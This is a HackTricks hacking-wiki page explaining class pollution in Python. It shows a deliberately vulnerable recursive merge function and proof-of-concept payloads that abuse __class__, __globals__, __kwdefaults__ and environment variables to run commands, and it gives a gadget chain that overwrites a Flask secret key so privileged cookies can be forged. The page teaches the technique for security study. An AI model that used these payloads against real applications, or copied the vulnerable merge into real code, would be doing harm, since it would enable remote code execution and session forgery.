Class Pollution (Python's Prototype Pollution) - HackTricks

# Class Pollution (Python's Prototype Pollution)

> [!TIP] Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
> Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

> Support HackTricks
> - Check the subscription plans!
> - Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
> - Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

## Basic Example

Check how is possible to pollute classes of objects with strings:

    class Company: pass
    class Developer(Company): pass
    class Entity(Developer): pass

    c = Company()
    d = Developer()
    e = Entity()

    print(c) #<__main__.Company object at 0x1043a72b0>
    print(d) #<__main__.Developer object at 0x1041d2b80>
    print(e) #<__main__.Entity object at 0x1041d2730>

    e.__class__.__qualname__ = 'Polluted_Entity'

    print(e) #<__main__.Polluted_Entity object at 0x1041d2730>

    e.__class__.__base__.__qualname__ = 'Polluted_Developer'
    e.__class__.__base__.__base__.__qualname__ = 'Polluted_Company'

    print(d) #<__main__.Polluted_Developer object at 0x1041d2b80>
    print(c) #<__main__.Polluted_Company object at 0x1043a72b0>

## Basic Vulnerability Example

    # Initial state
    class Employee: pass
    emp = Employee()
    print(vars(emp)) #{}

    # Vulenrable function
    def merge(src, dst):
        # Recursive merge function
        for k, v in src.items():
            if hasattr(dst, '__getitem__'):
                if dst.get(k) and type(v) == dict:
                    merge(v, dst.get(k))
                else:
                    dst[k] = v
            elif hasattr(dst, k) and type(v) == dict:
                merge(v, getattr(dst, k))
            else:
                setattr(dst, k, v)

    USER_INPUT = {
        "name":"Ahemd",
        "age": 23,
        "manager":{
            "name":"Sarah"
        }
    }

    merge(USER_INPUT, emp)
    print(vars(emp)) #{'name': 'Ahemd', 'age': 23, 'manager': {'name': 'Sarah'}}

## Gadget Examples

Creating class property default value to RCE (subprocess)

    from os import popen
    class Employee: pass # Creating an empty class
    class HR(Employee): pass # Class inherits from Employee class
    class Recruiter(HR): pass # Class inherits from HR class

    class SystemAdmin(Employee): # Class inherits from Employee class
        def execute_command(self):
            command = self.custom_command if hasattr(self, 'custom_command') else 'echo Hello there'
            return f'[!] Executing: "{command}", output: "{popen(command).read().strip()}"'

    def merge(src, dst):
        # Recursive merge function
        for k, v in src.items():
            if hasattr(dst, '__getitem__'):
                if dst.get(k) and type(v) == dict:
                    merge(v, dst.get(k))
                else:
                    dst[k] = v
            elif hasattr(dst, k) and type(v) == dict:
                merge(v, getattr(dst, k))
            else:
                setattr(dst, k, v)

    USER_INPUT = {
        "__class__":{
            "__base__":{
                "__base__":{
                    "custom_command": "whoami"
                }
            }
        }
    }

    recruiter_emp = Recruiter()
    system_admin_emp = SystemAdmin()

    print(system_admin_emp.execute_command())
    #> [!] Executing: "echo Hello there", output: "Hello there"

    # Create default value for Employee.custom_command
    merge(USER_INPUT, recruiter_emp)

    print(system_admin_emp.execute_command())
    #> [!] Executing: "whoami", output: "abdulrah33m"

Polluting other classes and global vars through `globals`

    def merge(src, dst):
        # Recursive merge function
        for k, v in src.items():
            if hasattr(dst, '__getitem__'):
                if dst.get(k) and type(v) == dict:
                    merge(v, dst.get(k))
                else:
                    dst[k] = v
            elif hasattr(dst, k) and type(v) == dict:
                merge(v, getattr(dst, k))
            else:
                setattr(dst, k, v)

    class User:
        def __init__(self):
            pass

    class NotAccessibleClass: pass

    not_accessible_variable = 'Hello'

    merge({'__class__':{'__init__':{'__globals__':{'not_accessible_variable':'Polluted variable','NotAccessibleClass':{'__qualname__':'PollutedClass'}}}}}, User())

    print(not_accessible_variable) #> Polluted variable
    print(NotAccessibleClass) #> <class '__main__.PollutedClass'>

Arbitrary subprocess execution

    import subprocess, json

    class Employee:
        def __init__(self):
            pass

    def merge(src, dst):
        # Recursive merge function
        for k, v in src.items():
            if hasattr(dst, '__getitem__'):
                if dst.get(k) and type(v) == dict:
                    merge(v, dst.get(k))
                else:
                    dst[k] = v
            elif hasattr(dst, k) and type(v) == dict:
                merge(v, getattr(dst, k))
            else:
                setattr(dst, k, v)

    # Overwrite env var "COMSPEC" to execute a calc
    USER_INPUT = json.loads('{"__init__":{"__globals__":{"subprocess":{"os":{"environ":{"COMSPEC":"cmd /c calc"}}}}}}') # attacker-controlled value

    merge(USER_INPUT, Employee())

    subprocess.Popen('whoami', shell=True) # Calc.exe will pop up

Overwritting `__kwdefaults__`

`__kwdefaults__` is a special attribute of all functions, based on Python documentation, it is a “mapping of any default values for keyword-only parameters”. Polluting this attribute allows us to control the default values of keyword-only parameters of a function, these are the function’s parameters that come after * or *args.

    from os import system
    import json

    def merge(src, dst):
        # Recursive merge function
        for k, v in src.items():
            if hasattr(dst, '__getitem__'):
                if dst.get(k) and type(v) == dict:
                    merge(v, dst.get(k))
                else:
                    dst[k] = v
            elif hasattr(dst, k) and type(v) == dict:
                merge(v, getattr(dst, k))
            else:
                setattr(dst, k, v)

    class Employee:
        def __init__(self):
            pass

    def execute(*, command='whoami'):
        print(f'Executing {command}')
        system(command)

    print(execute.__kwdefaults__) #> {'command': 'whoami'}
    execute() #> Executing whoami
    #> user

    emp_info = json.loads('{"__class__":{"__init__":{"__globals__":{"execute":{"__kwdefaults__":{"command":"echo Polluted"}}}}}}') # attacker-controlled value
    merge(emp_info, Employee())

    print(execute.__kwdefaults__) #> {'command': 'echo Polluted'}
    execute() #> Executing echo Polluted
    #> Polluted

Overwriting Flask secret across files

So, if you can do a class pollution over an object defined in the main python file of the web but whose class is defined in a different file than the main one. Because in order to access __globals__ in the previous payloads you need to access the class of the object or methods of the class, you will be able to access the globals in that file, but not in the main one.
Therefore, you won't be able to access the Flask app global object that defined the secret key in the main page:

    app = Flask(__name__, template_folder='templates')
    app.secret_key = '(:secret:)'

In this scenario you need a gadget to traverse files to get to the main one to access the global object `app.secret_key` to change the Flask secret key and be able to escalate privileges knowing this key.

A payload like this one from this writeup:

    __init__.__globals__.__loader__.__init__.__globals__.sys.modules.__main__.app.secret_key

Use this payload to change `app.secret_key` (the name in your app might be different) to be able to sign new and more privileges flask cookies.

Check also the following page for more read only gadgets:

Python Internal Read Gadgets

## References

- https://blog.abdulrah33m.com/prototype-pollution-in-python/

> [!TIP] Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
> Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

> Support HackTricks
> - Check the subscription plans!
> - Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
> - Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.